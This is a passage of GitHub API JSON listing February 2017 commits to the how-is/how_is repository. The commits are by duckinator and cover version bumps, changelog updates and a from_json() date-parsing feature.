changelog.","tree":{"sha":"364d9d8b65c1480e0aa65c1916c70a434d7a5eaa","url":"https://api.github.com/repos/how-is/how_is/git/trees/364d9d8b65c1480e0aa65c1916c70a434d7a5eaa"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/068edf7c60ad7ecf4f9a39b005a1b50a35b03933","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/068edf7c60ad7ecf4f9a39b005a1b50a35b03933","html_url":"https://github.com/how-is/how_is/commit/068edf7c60ad7ecf4f9a39b005a1b50a35b03933","comments_url":"https://api.github.com/repos/how-is/how_is/commits/068edf7c60ad7ecf4f9a39b005a1b50a35b03933/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9e1ef5e8701f361e203eeb1a968d32059dd95103","url":"https://api.github.com/repos/how-is/how_is/commits/9e1ef5e8701f361e203eeb1a968d32059dd95103","html_url":"https://github.com/how-is/how_is/commit/9e1ef5e8701f361e203eeb1a968d32059dd95103"}]},{"sha":"9e1ef5e8701f361e203eeb1a968d32059dd95103","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWUxZWY1ZTg3MDFmMzYxZTIwM2VlYjFhOTY4ZDMyMDU5ZGQ5NTEwMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:21:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:21:46Z"},"message":"Make from_json parse ALL dates, not just some of them.","tree":{"sha":"09f52af7fea9b56732a0af0d00e0921c2ff3a68e","url":"https://api.github.com/repos/how-is/how_is/git/trees/09f52af7fea9b56732a0af0d00e0921c2ff3a68e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9e1ef5e8701f361e203eeb1a968d32059dd95103","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9e1ef5e8701f361e203eeb1a968d32059dd95103","html_url":"https://github.com/how-is/how_is/commit/9e1ef5e8701f361e203eeb1a968d32059dd95103","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9e1ef5e8701f361e203eeb1a968d32059dd95103/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f87ca3ef85b1ba372e92bb8ca5e5be4ccbaa99d5","url":"https://api.github.com/repos/how-is/how_is/commits/f87ca3ef85b1ba372e92bb8ca5e5be4ccbaa99d5","html_url":"https://github.com/how-is/how_is/commit/f87ca3ef85b1ba372e92bb8ca5e5be4ccbaa99d5"}]},{"sha":"f87ca3ef85b1ba372e92bb8ca5e5be4ccbaa99d5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Zjg3Y2EzZWY4NWIxYmEzNzJlOTJiYjhjYTVlNWJlNGNjYmFhOTlkNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:10:55Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T20:10:55Z"},"message":"Merge pull request #127 from how-is/fix-from-json\n\nMake from_json() parse dates.","tree":{"sha":"eda034dccd3d4a29959e67c5afc3a5acf53fd7db","url":"https://api.github.com/repos/how-is/how_is/git/trees/eda034dccd3d4a29959e67c5afc3a5acf53fd7db"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f87ca3ef85b1ba372e92bb8ca5e5be4ccbaa99d5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f87ca3ef85b1ba372e92bb8ca5e5be4ccbaa99d5","html_url":"https://github.com/how-is/how_is/commit/f87ca3ef85b1ba372e92bb8ca5e5be4ccbaa99d5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f87ca3ef85b1ba372e92bb8ca5e5be4ccbaa99d5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"82a02b52b16b5567a00ad9e76c129d62fb445583","url":"https://api.github.com/repos/how-is/how_is/commits/82a02b52b16b5567a00ad9e76c129d62fb445583","html_url":"https://github.com/how-is/how_is/commit/82a02b52b16b5567a00ad9e76c129d62fb445583"},{"sha":"246159f9485cbe3e0d798bedd5957cbb29df484e","url":"https://api.github.com/repos/how-is/how_is/commits/246159f9485cbe3e0d798bedd5957cbb29df484e","html_url":"https://github.com/how-is/how_is/commit/246159f9485cbe3e0d798bedd5957cbb29df484e"}]},{"sha":"246159f9485cbe3e0d798bedd5957cbb29df484e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjQ2MTU5Zjk0ODVjYmUzZTBkNzk4YmVkZDU5NTdjYmIyOWRmNDg0ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:08:55Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:08:55Z"},"message":"Bump version, update changelog.","tree":{"sha":"eda034dccd3d4a29959e67c5afc3a5acf53fd7db","url":"https://api.github.com/repos/how-is/how_is/git/trees/eda034dccd3d4a29959e67c5afc3a5acf53fd7db"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/246159f9485cbe3e0d798bedd5957cbb29df484e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/246159f9485cbe3e0d798bedd5957cbb29df484e","html_url":"https://github.com/how-is/how_is/commit/246159f9485cbe3e0d798bedd5957cbb29df484e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/246159f9485cbe3e0d798bedd5957cbb29df484e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f3fe84543348c608c76d44141a35a01c46e9b6e6","url":"https://api.github.com/repos/how-is/how_is/commits/f3fe84543348c608c76d44141a35a01c46e9b6e6","html_url":"https://github.com/how-is/how_is/commit/f3fe84543348c608c76d44141a35a01c46e9b6e6"}]},{"sha":"f3fe84543348c608c76d44141a35a01c46e9b6e6","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjNmZTg0NTQzMzQ4YzYwOGM3NmQ0NDE0MWEzNWEwMWM0NmU5YjZlNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:06:03Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T20:06:03Z"},"message":"Make from_json() parse dates.","tree":{"sha":"e936b1df8e15b32a6df56037466cffad6835c581","url":"https://api.github.com/repos/how-is/how_is/git/trees/e936b1df8e15b32a6df56037466cffad6835c581"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f3fe84543348c608c76d44141a35a01c46e9b6e6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f3fe84543348c608c76d44141a35a01c46e9b6e6","html_url":"https://github.com/how-is/how_is/commit/f3fe84543348c608c76d44141a35a01c46e9b6e6","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f3fe84543348c608c76d44141a35a01c46e9b6e6/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"82a02b52b16b5567a00ad9e76c129d62fb445583","url":"https://api.github.com/repos/how-is/how_is/commits/82a02b52b16b5567a00ad9e76c129d62fb445583","html_url":"https://github.com/how-is/how_is/commit/82a02b52b16b5567a00ad9e76c129d62fb445583"}]},{"sha":"82a02b52b16b5567a00ad9e76c129d62fb445583","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODJhMDJiNTJiMTZiNTU2N2EwMGFkOWU3NmMxMjlkNjJmYjQ0NTU4Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T19:48:33Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T19:48:33Z"},"message":"Merge pull request #126 from how-is/from-json\n\nImplement HowIs.from_json().","tree":{"sha":"794919e20ad4baff94d80afe32081308005ce485","url":"https://api.github.com/repos/how-is/how_is/git/trees/794919e20ad4baff94d80afe32081308005ce485"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/82a02b52b16b5567a00ad9e76c129d62fb445583","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/82a02b52b16b5567a00ad9e76c129d62fb445583","html_url":"https://github.com/how-is/how_is/commit/82a02b52b16b5567a00ad9e76c129d62fb445583","comments_url":"https://api.github.com/repos/how-is/how_is/commits/82a02b52b16b5567a00ad9e76c129d62fb445583/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"83939e85961c4ba9831c4558b4e164e2a3736b2a","url":"https://api.github.com/repos/how-is/how_is/commits/83939e85961c4ba9831c4558b4e164e2a3736b2a","html_url":"https://github.com/how-is/how_is/commit/83939e85961c4ba9831c4558b4e164e2a3736b2a"},{"sha":"a4590f6ab22695181b62d0481c89b6f8bdceab22","url":"https://api.github.com/repos/how-is/how_is/commits/a4590f6ab22695181b62d0481c89b6f8bdceab22","html_url":"https://github.com/how-is/how_is/commit/a4590f6ab22695181b62d0481c89b6f8bdceab22"}]},{"sha":"a4590f6ab22695181b62d0481c89b6f8bdceab22","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTQ1OTBmNmFiMjI2OTUxODFiNjJkMDQ4MWM4OWI2ZjhiZGNlYWIyMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T19:47:03Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T19:47:03Z"},"message":"Bump version, update changelog.","tree":{"sha":"794919e20ad4baff94d80afe32081308005ce485","url":"https://api.github.com/repos/how-is/how_is/git/trees/794919e20ad4baff94d80afe32081308005ce485"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a4590f6ab22695181b62d0481c89b6f8bdceab22","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a4590f6ab22695181b62d0481c89b6f8bdceab22","html_url":"https://github.com/how-is/how_is/commit/a4590f6ab22695181b62d0481c89b6f8bdceab22","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a4590f6ab22695181b62d0481c89b6f8bdceab22/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"012e34613ca9d539efbc4060c9a9372e1a98d1db","url":"https://api.github.com/repos/how-is/how_is/commits/012e34613ca9d539efbc4060c9a9372e1a98d1db","html_url":"https://github.com/how-is/how_is/commit/012e34613ca9d539efbc4060c9a9372e1a98d1db"}]},{"sha":"012e34613ca9d539efbc4060c9a9372e1a98d1db","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDEyZTM0NjEzY2E5ZDUzOWVmYmM0MDYwYzlhOTM3MmUxYTk4ZDFkYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T19:44:51Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T19:44:51Z"},"message":"Implement HowIs.from_json().","tree":{"sha":"23761d62840c5027b5f61e2bc6bb3b47b566514b","url":"https://api.github.com/repos/how-is/how_is/git/trees/23761d62840c5027b5f61e2bc6bb3b47b566514b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/012e34613ca9d539efbc4060c9a9372e1a98d1db","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/012e34613ca9d539efbc4060c9a9372e1a98d1db","html_url":"https://github.com/how-is/how_is/commit/012e34613ca9d539efbc4060c9a9372e1a98d1db","comments_url":"https://api.github.com/repos/how-is/how_is/commits/012e34613ca9d539efbc4060c9a9372e1a98d1db/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"83939e85961c4ba9831c4558b4e164e2a3736b2a","url":"https://api.github.com/repos/how-is/how_is/commits/83939e85961c4ba9831c4558b4e164e2a3736b2a","html_url":"https://github.com/how-is/how_is/commit/83939e85961c4ba9831c4558b4e164e2a3736b2a"}]},{"sha":"83939e85961c4ba9831c4558b4e164e2a3736b2a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODM5MzllODU5NjFjNGJhOTgzMWM0NTU4YjRlMTY0ZTJhMzczNmIyYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T19:06:52Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T19:06:52Z"},"message":"Merge pull request #125 from how-is/include-pulse-data-in-json\n\nInclude Pulse data in JSON reports.","tree":{"sha":"1f7fefb39f2ccd91c370cdae8bbaf6aae3d3e074","url":"https://api.github.com/repos/how-is/how_is/git/trees/1f7fefb39f2ccd91c370cdae8bbaf6aae3d3e074"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/83939e85961c4ba9831c4558b4e164e2a3736b2a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/83939e85961c4ba9831c4558b4e164e2a3736b2a","html_url":"https://github.com/how-is/how_is/commit/83939e85961c4ba9831c4558b4e164e2a3736b2a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/83939e85961c4ba9831c4558b4e164e2a3736b2a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"c09dc5eed53f39177a86539e3ee7567e8a68b839","url":"https://api.github.com/repos/how-is/how_is/commits/c09dc5eed53f39177a86539e3ee7567e8a68b839","html_url":"https://github.com/how-is/how_is/commit/c09dc5eed53f39177a86539e3ee7567e8a68b839"},{"sha":"e7a5179d44b6bc4159d040d1757c40f87dd6a1b1","url":"https://api.github.com/repos/how-is/how_is/commits/e7a5179d44b6bc4159d040d1757c40f87dd6a1b1","html_url":"https://github.com/how-is/how_is/commit/e7a5179d44b6bc4159d040d1757c40f87dd6a1b1"}]},{"sha":"e7a5179d44b6bc4159d040d1757c40f87dd6a1b1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTdhNTE3OWQ0NGI2YmM0MTU5ZDA0MGQxNzU3YzQwZjg3ZGQ2YTFiMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T19:05:29Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-09T19:05:29Z"},"message":"Bump version and update changelog.","tree":{"sha":"1f7fefb39f2ccd91c370cdae8bbaf6aae3d3e074","url":"https://api.github.com/repos/how-is/how_is/git/trees/1f7fefb39f2ccd91c370cdae8bbaf6aae3d3e074"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e7a5179d44b6bc4159d040d1757c40f87dd6a1b1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e7a5179d44b6bc4159d040d1757c40f87dd6a1b1","html_url":"https://github.com/how-is/how_is/commit/e7a5179d44b6bc4159d040d1757c40f87dd6a1b1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e7a5179d44b6bc4159d040d1757c40f87dd6a1b1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/user